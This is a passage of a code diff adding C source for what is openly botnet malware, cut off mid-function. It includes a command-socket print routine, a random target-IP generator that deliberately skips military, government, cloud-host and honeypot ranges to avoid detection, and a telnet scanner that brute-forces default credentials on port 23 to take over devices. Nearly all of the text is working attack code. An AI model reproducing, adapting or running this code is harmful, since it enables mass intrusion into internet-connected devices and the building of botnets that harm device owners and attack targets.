va_end( args );+ return pc;+}+int szprintf(unsigned char *out, const unsigned char *format, ...) {+ va_list args;+ va_start( args, format );+ return print( &out, format, args );+}+int botnetPrint(int sock, char *formatStr, ...) {+ unsigned char *textBuffer = malloc(2048);+ memset(textBuffer, 0, 2048);+ char *orig = textBuffer;+ va_list args;+ va_start(args, formatStr);+ print(&textBuffer, formatStr, args);+ va_end(args);+ orig[strlen(orig)] = '\n';+ int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);+ free(orig);+ return q;+}+void trim(char *str) {+ int i;+ int begin = 0;+ int end = strlen(str) - 1;+ while (isspace(str[begin])) begin++;+ while ((end >= begin) && isspace(str[end])) end--;+ for (i = begin; i <= end; i++) str[i - begin] = str[i];+ str[i - begin] = '\0';+}+int getHost(unsigned char *toGet, struct in_addr *i) {+ struct hostent *h;+ if((i->s_addr = inet_addr(toGet)) == -1) return 1;+ return 0;+}+int recvLine(int socket, unsigned char *buf, int bufsize) {+ memset(buf, 0, bufsize);+ fd_set myset;+ struct timeval tv;+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ int selectRtn, retryCount;+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ while(retryCount < 10) {+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ retryCount++;+ continue;+ }+ break;+ }+ }+ unsigned char tmpchr;+ unsigned char *cp;+ int count = 0;+ cp = buf;+ while(bufsize-- > 1) {+ if(recv(KadenCommStock, &tmpchr, 1, 0) != 1) {+ *cp = 0x00;+ return -1;+ }+ *cp++ = tmpchr;+ if(tmpchr == '\n') break;+ count++;+ }+ *cp = 0x00;+ return count;+}+int connectTimeout(int fd, char *host, int port, int timeout) {+ struct sockaddr_in dest_addr;+ fd_set myset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ long arg = fcntl(fd, F_GETFL, NULL);+ arg |= O_NONBLOCK;+ fcntl(fd, F_SETFL, arg);+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(port);+ if(getHost(host, &dest_addr.sin_addr)) return 0;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ if (res < 0) {+ if (errno == EINPROGRESS) {+ tv.tv_sec = timeout;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(fd, &myset);+ if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {+ lon = sizeof(int);+ getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if (valopt) return 0;+ }+ else return 0;+ }+ else return 0;+ }+ arg = fcntl(fd, F_GETFL, NULL);+ arg &= (~O_NONBLOCK);+ fcntl(fd, F_SETFL, arg);+ return 1;+}+int listFork() {+ uint32_t parent, *newpids, i;+ parent = fork();+ if (parent <= 0) return parent;+ numpids++;+ newpids = (uint32_t*)malloc((numpids + 1) * 4);+ for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];+ newpids[numpids - 1] = parent;+ free(pids);+ pids = newpids;+ return parent;+}+struct telstate_t {+ int fd;+ unsigned int ip;+ unsigned char state;+ unsigned char complete;+ unsigned char usernameInd;+ unsigned char passwordInd;+ unsigned char tempDirInd;+ unsigned int totalTimeout;+ unsigned short bufUsed;+ char *sockbuf;+};+const char* get_telstate_host(struct telstate_t* telstate) {+ struct in_addr in_addr_ip;+ in_addr_ip.s_addr = telstate->ip;+ return inet_ntoa(in_addr_ip);+}+int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {+ int num_bytes, i;+ memset(buffer, 0, buf_size);+ num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);+ if(buffer[0] == 0xFF) {+ negotiate(fd, buffer, 3);+ }+ if(contains_string(buffer, strings)) {+ return 1;+ }+ return 0;+}+int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {+ fd_set read_set;+ struct timeval tv;+ tv.tv_sec = 0;+ tv.tv_usec = timeout_usec;+ FD_ZERO(&read_set);+ FD_SET(fd, &read_set);+ if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)+ return 0;+ return recv(fd, buffer, buf_size, 0);+}+void advance_state(struct telstate_t* telstate, int new_state) {+ if(new_state == 0) {+ close(telstate->fd);+ }+ telstate->totalTimeout = 0;+ telstate->state = new_state;+ memset((telstate->sockbuf), 0, BUFFER_SIZE);+}+void reset_telstate(struct telstate_t* telstate) {+ advance_state(telstate, 0);+ telstate->complete = 1;+}+int contains_success(char* buffer) {+ return contains_string(buffer, successes);+}+int contains_fail(char* buffer) {+ return contains_string(buffer, fails);+}+int contains_response(char* buffer) {+ return contains_success(buffer) || contains_fail(buffer);+}+int contains_string(char* buffer, char** strings) {+ int num_strings = 0, i = 0;+ for(num_strings = 0; strings[++num_strings] != 0; );+ for(i = 0; i < num_strings; i++) {+ if(strcasestr(buffer, strings[i])) {+ return 1;+ }+ }+ return 0;+}+int negotiate(int sock, unsigned char *buf, int len) {+ unsigned char c;+ switch (buf[1]) {+ case CMD_IAC: return 0;+ case CMD_WILL:+ case CMD_WONT:+ case CMD_DO:+ case CMD_DONT:+ c = CMD_IAC;+ send(sock, &c, 1, MSG_NOSIGNAL);+ if (CMD_WONT == buf[1]) c = CMD_DONT;+ else if (CMD_DONT == buf[1]) c = CMD_WONT;+ else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);+ else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);+ send(sock, &c, 1, MSG_NOSIGNAL);+ send(sock, &(buf[2]), 1, MSG_NOSIGNAL);+ break;+ default:+ break;+ }+ return 0;+}+int matchPrompt(char *bufStr) {+ char *prompts = ":>%$#\0";+ int bufLen = strlen(bufStr);+ int i, q = 0;+ for(i = 0; i < strlen(prompts); i++) {+ while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;+ if(*(bufStr + bufLen - q) == prompts[i]) return 1;+ }+ return 0;+}+int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) {+ int bufferUsed = initialIndex, got = 0, found = 0;+ fd_set myset;+ struct timeval tv;+ tv.tv_sec = timeout;+ tv.tv_usec = timeoutusec;+ unsigned char *initialRead = NULL;+ while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {+ FD_ZERO(&myset);+ FD_SET(fd, &myset);+ if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;+ initialRead = buffer + bufferUsed;+ got = recv(fd, initialRead, 1, 0);+ if(got == -1 || got == 0) return 0;+ bufferUsed += got;+ if(*initialRead == 0xFF) {+ got = recv(fd, initialRead + 1, 2, 0);+ if(got == -1 || got == 0) return 0;+ bufferUsed += got;+ if(!negotiate(fd, initialRead, 3)) return 0;+ } else {+ if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }+ }+ }+ if(found) return 1;+ return 0;+}+in_addr_t GIP() { //Like my ipstates?+ static uint8_t ipState[4] = {0};+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ while(+ (ipState[0] == 127) || //Loopback+ (ipState[0] == 0) || //Invalid address space+ (ipState[0] == 3) || //General Electric Company+ (ipState[0] == 15) || //Hewlett-Packard Company+ (ipState[0] == 56) || //US Postal Service+ (ipState[0] == 10) || //Internal network+ (ipState[0] == 25) || //Some more+ (ipState[0] == 49) || //Some more+ (ipState[0] == 50) || //Some more+ (ipState[0] == 137) || //Some more+ (ipState[0] == 6) || //Department of Defense+ (ipState[0] == 7) || //Department of Defense+ (ipState[0] == 11) || //Department of Defense+ (ipState[0] == 21) || //Department of Defense+ (ipState[0] == 22) || //Department of Defense+ (ipState[0] == 26) || //Department of Defense+ (ipState[0] == 28) || //Department of Defense+ (ipState[0] == 29) || //Department of Defense+ (ipState[0] == 30) || //Department of Defense+ (ipState[0] == 33) || //Department of Defense+ (ipState[0] == 55) || //Department of Defense+ (ipState[0] == 214) || //Department of Defense+ (ipState[0] == 215) || //Department of Defense+ (ipState[0] == 192 && ipState[1] == 168) || //Internal network+ (ipState[0] == 146 && ipState[1] == 17) || //Internal network+ (ipState[0] == 146 && ipState[1] == 80) || //IANA NAT reserved+ (ipState[0] == 146 && ipState[1] == 98) || //IANA NAT reserved+ (ipState[0] == 146 && ipState[1] == 154) || //IANA Special use+ (ipState[0] == 147 && ipState[1] == 159) || //Some more+ (ipState[0] == 148 && ipState[1] == 114) || //Some more+ (ipState[0] == 150 && ipState[1] == 125) || //Some more+ (ipState[0] == 150 && ipState[1] == 133) || //Some more+ (ipState[0] == 150 && ipState[1] == 144) || //Some more+ (ipState[0] == 150 && ipState[1] == 149) || //Some more+ (ipState[0] == 150 && ipState[1] == 157) || //Some more+ (ipState[0] == 150 && ipState[1] == 184) || //Some more+ (ipState[0] == 150 && ipState[1] == 190) || //Some more+ (ipState[0] == 150 && ipState[1] == 196) || //Some more+ (ipState[0] == 152 && ipState[1] == 82) || //Some more+ (ipState[0] == 152 && ipState[1] == 229) || //Some more+ (ipState[0] == 157 && ipState[1] == 202) || //Some more+ (ipState[0] == 157 && ipState[1] == 217) || //Some more+ (ipState[0] == 161 && ipState[1] == 124) || //Some more+ (ipState[0] == 162 && ipState[1] == 32) || //Some more+ (ipState[0] == 155 && ipState[1] == 96) || //Some more+ (ipState[0] == 155 && ipState[1] == 149) || //Some more+ (ipState[0] == 155 && ipState[1] == 155) || //Some more+ (ipState[0] == 155 && ipState[1] == 178) || //Some more+ (ipState[0] == 164 && ipState[1] == 158) || //Some more+ (ipState[0] == 156 && ipState[1] == 9) || //Some more+ (ipState[0] == 167 && ipState[1] == 44) || //Some more+ (ipState[0] == 168 && ipState[1] == 68) || //Some more+ (ipState[0] == 168 && ipState[1] == 85) || //Some more+ (ipState[0] == 168 && ipState[1] == 102) || //Some more+ (ipState[0] == 203 && ipState[1] == 59) || //Some more+ (ipState[0] == 204 && ipState[1] == 34) || //Some more+ (ipState[0] == 207 && ipState[1] == 30) || //Some more+ (ipState[0] == 117 && ipState[1] == 55) || //Some more+ (ipState[0] == 117 && ipState[1] == 56) || //Some more+ (ipState[0] == 80 && ipState[1] == 235) || //Some more+ (ipState[0] == 207 && ipState[1] == 120) || //Some more+ (ipState[0] == 209 && ipState[1] == 35) || //Some more+ (ipState[0] == 64 && ipState[1] == 70) || //Some more+ (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || //Some more+ (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || //Some more+ (ipState[0] == 169 && ipState[1] == 254) || //Some more+ (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || //Some more+ (ipState[0] == 64 && ipState[1] >= 69 && ipState[1] < 227) || //Some more+ (ipState[0] == 128 && ipState[1] >= 35 && ipState[1] < 237) || //Some more+ (ipState[0] == 129 && ipState[1] >= 22 && ipState[1] < 255) || //Some more+ (ipState[0] == 130 && ipState[1] >= 40 && ipState[1] < 168) || //Some more+ (ipState[0] == 131 && ipState[1] >= 3 && ipState[1] < 251) || //Some more+ (ipState[0] == 132 && ipState[1] >= 3 && ipState[1] < 251) || //Some more+ (ipState[0] == 134 && ipState[1] >= 5 && ipState[1] < 235) || //Some more+ (ipState[0] == 136 && ipState[1] >= 177 && ipState[1] < 223) || //Some more+ (ipState[0] == 138 && ipState[1] >= 13 && ipState[1] < 194) || //Some more+ (ipState[0] == 139 && ipState[1] >= 31 && ipState[1] < 143) || //Some more+ (ipState[0] == 140 && ipState[1] >= 1 && ipState[1] < 203) || //Some more+ (ipState[0] == 143 && ipState[1] >= 45 && ipState[1] < 233) || //Some more+ (ipState[0] == 144 && ipState[1] >= 99 && ipState[1] < 253) || //Some more+ (ipState[0] == 146 && ipState[1] >= 165 && ipState[1] < 166) || //Some more+ (ipState[0] == 147 && ipState[1] >= 35 && ipState[1] < 43) || //Some more+ (ipState[0] == 147 && ipState[1] >= 103 && ipState[1] < 105) || //Some more+ (ipState[0] == 147 && ipState[1] >= 168 && ipState[1] < 170) || //Some more+ (ipState[0] == 147 && ipState[1] >= 198 && ipState[1] < 200) || //Some more+ (ipState[0] == 147 && ipState[1] >= 238 && ipState[1] < 255) || //Some more+ (ipState[0] == 150 && ipState[1] >= 113 && ipState[1] < 115) || //Some more+ (ipState[0] == 152 && ipState[1] >= 151 && ipState[1] < 155) || //Some more+ (ipState[0] == 153 && ipState[1] >= 21 && ipState[1] < 32) || //Some more+ (ipState[0] == 155 && ipState[1] >= 5 && ipState[1] < 10) || //Some more+ (ipState[0] == 155 && ipState[1] >= 74 && ipState[1] < 89) || //Some more+ (ipState[0] == 155 && ipState[1] >= 213 && ipState[1] < 222) || //Some more+ (ipState[0] == 157 && ipState[1] >= 150 && ipState[1] < 154) || //Some more+ (ipState[0] == 158 && ipState[1] >= 1 && ipState[1] < 21) || //Some more+ (ipState[0] == 158 && ipState[1] >= 235 && ipState[1] < 247) || //Some more+ (ipState[0] == 159 && ipState[1] >= 120 && ipState[1] < 121) || //Some more+ (ipState[0] == 160 && ipState[1] >= 132 && ipState[1] < 151) || //Some more+ (ipState[0] == 64 && ipState[1] >= 224 && ipState[1] < 227) || //Some more+ (ipState[0] == 162 && ipState[1] >= 45 && ipState[1] < 47) || //CIA+ (ipState[0] == 163 && ipState[1] >= 205 && ipState[1] < 207) || //NASA Kennedy Space Center+ (ipState[0] == 164 && ipState[1] >= 45 && ipState[1] < 50) || //NASA Kennedy Space Center+ (ipState[0] == 164 && ipState[1] >= 217 && ipState[1] < 233) || //NASA Kennedy Space Center+ (ipState[0] == 169 && ipState[1] >= 252 && ipState[1] < 254) || //U.S. Department of State+ (ipState[0] == 199 && ipState[1] >= 121 && ipState[1] < 254) || //Naval Air Systems Command, VA+ (ipState[0] == 205 && ipState[1] >= 1 && ipState[1] < 118) || //Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR+ (ipState[0] == 207 && ipState[1] >= 60 && ipState[1] < 62) || //FBI controlled Linux servers & IPs/IP-Ranges+ (ipState[0] == 104 && ipState[1] >= 16 && ipState[1] < 31) || //Cloudflare+ (ipState[0] == 188 && ipState[1] == 166) || //Digital Ocean+ (ipState[0] == 188 && ipState[1] == 226) || //Digital Ocean+ (ipState[0] == 159 && ipState[1] == 203) || //Digital Ocean+ (ipState[0] == 162 && ipState[1] == 243) || //Digital Ocean+ (ipState[0] == 45 && ipState[1] == 55) || //Digital Ocean+ (ipState[0] == 178 && ipState[1] == 62) || //Digital Ocean+ (ipState[0] == 104 && ipState[1] == 131) || //Digital Ocean+ (ipState[0] == 104 && ipState[1] == 236) || //Digital Ocean+ (ipState[0] == 107 && ipState[1] == 170) || //Digital Ocean+ (ipState[0] == 138 && ipState[1] == 197) || //Digital Ocean+ (ipState[0] == 138 && ipState[1] == 68) || //Digital Ocean+ (ipState[0] == 139 && ipState[1] == 59) || //Digital Ocean+ (ipState[0] == 146 && ipState[1] == 185 && ipState[2] >= 128 && ipState[2] < 191) || //Digital Ocean+ (ipState[0] == 163 && ipState[1] == 47 && ipState[2] >= 10 && ipState[2] < 11) || //Digital Ocean+ (ipState[0] == 174 && ipState[1] == 138 && ipState[2] >= 1 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 192 && ipState[1] == 241 && ipState[2] >= 128 && ipState[2] < 255) || //Digital Ocean+ (ipState[0] == 198 && ipState[1] == 199 && ipState[2] >= 64 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 198 && ipState[1] == 211 && ipState[2] >= 96 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 207 && ipState[1] == 154 && ipState[2] >= 192 && ipState[2] < 255) || //Digital Ocean+ (ipState[0] == 37 && ipState[1] == 139 && ipState[2] >= 1 && ipState[2] < 31) || //Digital Ocean+ (ipState[0] == 67 && ipState[1] == 207 && ipState[2] >= 64 && ipState[2] < 95) || //Digital Ocean+ (ipState[0] == 67 && ipState[1] == 205 && ipState[2] >= 128 && ipState[2] < 191) || //Digital Ocean+ (ipState[0] == 80 && ipState[1] == 240 && ipState[2] >= 128 && ipState[2] < 143) || //Digital Ocean+ (ipState[0] == 82 && ipState[1] == 196 && ipState[2] >= 1 && ipState[2] < 15) || //Digital Ocean+ (ipState[0] == 95 && ipState[1] == 85 && ipState[2] >= 8 && ipState[2] < 63) || //Digital Ocean+ (ipState[0] == 64 && ipState[1] == 237 && ipState[2] >= 32 && ipState[2] < 43) || //Choopa & Vultr+ (ipState[0] == 185 && ipState[1] == 92 && ipState[2] >= 220 && ipState[2] < 223) || //Choopa & Vultr+ (ipState[0] == 104 && ipState[1] == 238 && ipState[2] >= 128 && ipState[2] < 191) || //Choopa & Vultr+ (ipState[0] == 209 && ipState[1] == 222 && ipState[2] >= 1 && ipState[2] < 31) || //Choopa & Vultr+ (ipState[0] == 208 && ipState[1] == 167 && ipState[2] >= 232 && ipState[2] < 252) || //Choopa & Vultr+ (ipState[0] == 66 && ipState[1] == 55 && ipState[2] >= 128 && ipState[2] < 159) || //Choopa & Vultr+ (ipState[0] == 45 && ipState[1] == 63 && ipState[2] >= 1 && ipState[2] < 127) || //Choopa & Vultr+ (ipState[0] == 216 && ipState[1] == 237 && ipState[2] >= 128 && ipState[2] < 159) || //Choopa & Vultr+ (ipState[0] == 108 && ipState[1] == 61) || //Choopa & Vultr+ (ipState[0] == 45 && ipState[1] == 76) || //Choopa & Vultr+ (ipState[0] == 185 && ipState[1] == 11 && ipState[2] >= 144 && ipState[2] < 148) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 56 && ipState[2] >= 21 && ipState[2] < 23) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 61 && ipState[2] >= 136 && ipState[2] < 139) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 62 && ipState[2] >= 187 && ipState[2] < 191) || //Blazingfast & Nforce+ (ipState[0] == 66 && ipState[1] == 150 && ipState[2] >= 120 && ipState[2] < 215) || //Blazingfast & Nforce+ (ipState[0] == 66 && ipState[1] == 151 && ipState[2] >= 137 && ipState[2] < 139) || //Blazingfast & Nforce+ (ipState[0] == 64 && ipState[1] == 94 && ipState[2] >= 237 && ipState[2] < 255) || //Blazingfast & Nforce+ (ipState[0] == 63 && ipState[1] == 251 && ipState[2] >= 19 && ipState[2] < 21) || //Blazingfast & Nforce+ (ipState[0] == 70 && ipState[1] == 42 && ipState[2] >= 73 && ipState[2] < 75) || //Blazingfast & Nforce+ (ipState[0] == 74 && ipState[1] == 91 && ipState[2] >= 113 && ipState[2] < 115) || //Blazingfast & Nforce+ (ipState[0] == 74 && ipState[1] == 201 && ipState[2] >= 56 && ipState[2] < 58) || //Blazingfast & Nforce+ (ipState[0] == 188 && ipState[1] == 209 && ipState[2] >= 48 && ipState[2] < 53) || //Blazingfast & Nforce+ (ipState[0] == 188 && ipState[1] == 165) || //OVH+ (ipState[0] == 149 && ipState[1] == 202) || //OVH+ (ipState[0] == 151 && ipState[1] == 80) || //OVH+ (ipState[0] == 164 && ipState[1] == 132) || //OVH+ (ipState[0] == 176 && ipState[1] == 31) || //OVH+ (ipState[0] == 167 && ipState[1] == 114) || //OVH+ (ipState[0] == 178 && ipState[1] == 32) || //OVH+ (ipState[0] == 178 && ipState[1] == 33) || //OVH+ (ipState[0] == 37 && ipState[1] == 59) || //OVH+ (ipState[0] == 37 && ipState[1] == 187) || //OVH+ (ipState[0] == 46 && ipState[1] == 105) || //OVH+ (ipState[0] == 51 && ipState[1] == 254) || //OVH+ (ipState[0] == 51 && ipState[1] == 255) || //OVH+ (ipState[0] == 5 && ipState[1] == 135) || //OVH+ (ipState[0] == 5 && ipState[1] == 196) || //OVH+ (ipState[0] == 5 && ipState[1] == 39) || //OVH+ (ipState[0] == 91 && ipState[1] == 134) || //OVH+ (ipState[0] == 104 && ipState[1] == 200 && ipState[2] >= 128 && ipState[2] < 159) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] == 152 && ipState[2] >= 96 && ipState[2] < 111) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] == 181 && ipState[2] >= 160 && ipState[2] < 189) || //Total Server Solutions+ (ipState[0] == 172 && ipState[1] == 98 && ipState[2] >= 64 && ipState[2] < 95) || //Total Server Solutions+ (ipState[0] == 184 && ipState[1] == 170 && ipState[2] >= 240 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 111 && ipState[2] >= 128 && ipState[2] < 143) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 252 && ipState[2] >= 208 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 192 && ipState[1] == 40 && ipState[2] >= 56 && ipState[2] < 59) || //Total Server Solutions+ (ipState[0] == 198 && ipState[1] == 8 && ipState[2] >= 81 && ipState[2] < 95) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 116 && ipState[2] >= 112 && ipState[2] < 119) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 229 && ipState[2] >= 248 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 36 && ipState[2] >= 220 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 199 && ipState[1] == 58 && ipState[2] >= 184 && ipState[2] < 187) || //Total Server Solutions+ (ipState[0] == 206 && ipState[1] == 220 && ipState[2] >= 172 && ipState[2] < 175) || //Total Server Solutions+ (ipState[0] == 208 && ipState[1] == 78 && ipState[2] >= 40 && ipState[2] < 43) || //Total Server Solutions+ (ipState[0] == 208 && ipState[1] == 93 && ipState[2] >= 192 && ipState[2] < 193) || //Total Server Solutions+ (ipState[0] == 66 && ipState[1] == 71 && ipState[2] >= 240 && ipState[2] < 255) || //Total Server Solutions+ (ipState[0] == 98 && ipState[1] == 142 && ipState[2] >= 208 && ipState[2] < 223) || //Total Server Solutions+ (ipState[0] == 107 && ipState[1] >= 20 && ipState[1] < 24) || //Amazon+ (ipState[0] == 35 && ipState[1] >= 159 && ipState[1] < 183) || //Amazon+ (ipState[0] == 52 && ipState[1] >= 1 && ipState[1] < 95) || //Amazon+ (ipState[0] == 52 && ipState[1] >= 95 && ipState[1] < 255) || //Amazon + Microsoft+ (ipState[0] == 54 && ipState[1] >= 64 && ipState[1] < 95) || //Amazon + Microsoft+ (ipState[0] == 54 && ipState[1] >= 144 && ipState[1] < 255) || //Amazon + Microsoft+ (ipState[0] == 13 && ipState[1] >= 52 && ipState[1] < 60) || //Amazon + Microsoft+ (ipState[0] == 13 && ipState[1] >= 112 && ipState[1] < 115) || //Amazon + Microsoft+ (ipState[0] == 163 && ipState[1] == 172) || //ONLINE SAS+ (ipState[0] == 51 && ipState[1] >= 15 && ipState[1] < 255) || //ONLINE SAS+ (ipState[0] == 79 && ipState[1] == 121 && ipState[2] >= 128 && ipState[2] < 255) || //Some more+ (ipState[0] == 212 && ipState[1] == 47 && ipState[2] >= 224 && ipState[2] < 255) || //Some more+ (ipState[0] == 89 && ipState[1] == 34 && ipState[2] >= 96 && ipState[2] < 97) || //Some more+ (ipState[0] == 219 && ipState[1] >= 216 && ipState[1] < 231) || //Some more+ (ipState[0] == 23 && ipState[1] >= 94 && ipState[1] < 109) || //Some more+ (ipState[0] == 178 && ipState[1] >= 62 && ipState[1] < 63) || //Some more+ (ipState[0] == 106 && ipState[1] >= 182 && ipState[1] < 189) || //Some more+ (ipState[0] == 106 && ipState[1] >= 184) || //Some more+ (ipState[0] == 106 && ipState[1] == 105) || //Honeypot+ (ipState[0] == 34 && ipState[1] >= 245 && ipState[1] < 255) || //Some more+ (ipState[0] == 87 && ipState[1] >= 97 && ipState[1] < 99) || //Some more+ (ipState[0] == 86 && ipState[1] == 208) || //Some more+ (ipState[0] == 86 && ipState[1] == 209) || //Some more+ (ipState[0] == 193 && ipState[1] == 164) || //Some more+ (ipState[0] == 120 && ipState[1] >= 103 && ipState[1] < 108) || //Ministry of Education Computer Science+ (ipState[0] == 188 && ipState[1] == 68) || //Ministry of Education Computer Science+ (ipState[0] == 78 && ipState[1] == 46) || //Ministry of Education Computer Science+ (ipState[0] == 224)) { //Multicast+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ }+ char ip[16] = {0};+ szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);+ return inet_addr(ip);+}+in_addr_t GRIP(in_addr_t netmask) {+ in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;+ return tmp ^ ( rand_cmwc() & ~netmask);+}+int socket_connect(char *host, in_port_t port) {+ struct hostent *hp;+ struct sockaddr_in addr;+ int on = 1, sock;+ if ((hp = gethostbyname(host)) == NULL) return 0;+ bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);+ addr.sin_port = htons(port);+ addr.sin_family = AF_INET;+ sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));+ if (sock == -1) return 0;+ if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)+ return 0;+ return sock;+}+void botnetTScan(int wait_usec, int maxfds) { //Telnet scanner from prometheus creds to @narcotixx for that+ int i, res, num_tmps, j;+ char buf[128], cur_dir;+ int max = maxfds;+ fd_set fdset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ srand(time(NULL) ^ rand_cmwc());+ char line[256];+ char* buffer;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ buffer = malloc(BUFFER_SIZE + 1);+ memset(buffer, 0, BUFFER_SIZE + 1);+ struct telstate_t fds[max];+ memset(fds, 0, max * (sizeof(int) + 1));+ for(i = 0; i < max; i++) {+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].complete = 1;+ fds[i].sockbuf = buffer;+ }+ for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );+ while(1) {+ for(i = 0; i < max; i++) {+ if(fds[i].totalTimeout == 0) {+ fds[i].totalTimeout = time(NULL);+ }+ switch(fds[i].state) {+ case 0: {+ if(fds[i].complete == 1) {+ char *tmp = fds[i].sockbuf;+ memset(&(fds[i]), 0, sizeof(struct telstate_t));+ fds[i].sockbuf = tmp;+ fds[i].ip = GIP();+ }+ else if(fds[i].complete == 0) {+ fds[i].passwordInd++;+ fds[i].usernameInd++;+ if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {+ fds[i].complete = 1;+ continue;+ }+ if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {+ fds[i].complete = 1;+ continue;+ }+ }+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(23);+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ dest_addr.sin_addr.s_addr = fds[i].ip;+ fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);+ if(fds[i].fd == -1) continue;+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);+ if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {+ reset_telstate(&fds[i]);+ } else {+ advance_state(&fds[i], 1);+ }+ }+ break;+ case 1: {+ FD_ZERO(&fdset);+ FD_SET(fds[i].fd, &fdset);+ tv.tv_sec = 0;+ tv.tv_usec = wait_usec;+ res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);+ if(res == 1) {+ lon = sizeof(int);+ valopt = 0;+ getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if(valopt) {+ reset_telstate(&fds[i]);+ } else {+ fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));+ advance_state(&fds[i], 2);+ }+ continue;+ }+ else if(res == -1) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(fds[i].totalTimeout + 5 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 2: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ } else {+ advance_state(&fds[i], 3);+ }+ continue;+ }+ if(fds[i].totalTimeout + 7 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 3: {+ if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {+ reset_telstate(&fds[i]);+ continue;+ }+ advance_state(&fds[i], 4);+ }+ break;+ case 4: {+ if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {+ if(contains_fail(fds[i].sockbuf)) {+ advance_state(&fds[i], 0);+ } else {+ advance_state(&fds[i], 5);+ }+ continue;+ }+ if(fds[i].totalTimeout + 3 < time(NULL)) {+ reset_telstate(&fds[i]);+ }+ }+ break;+ case 5: {+ if(send(fds[i].fd, passwords[fds[i].passwordInd], 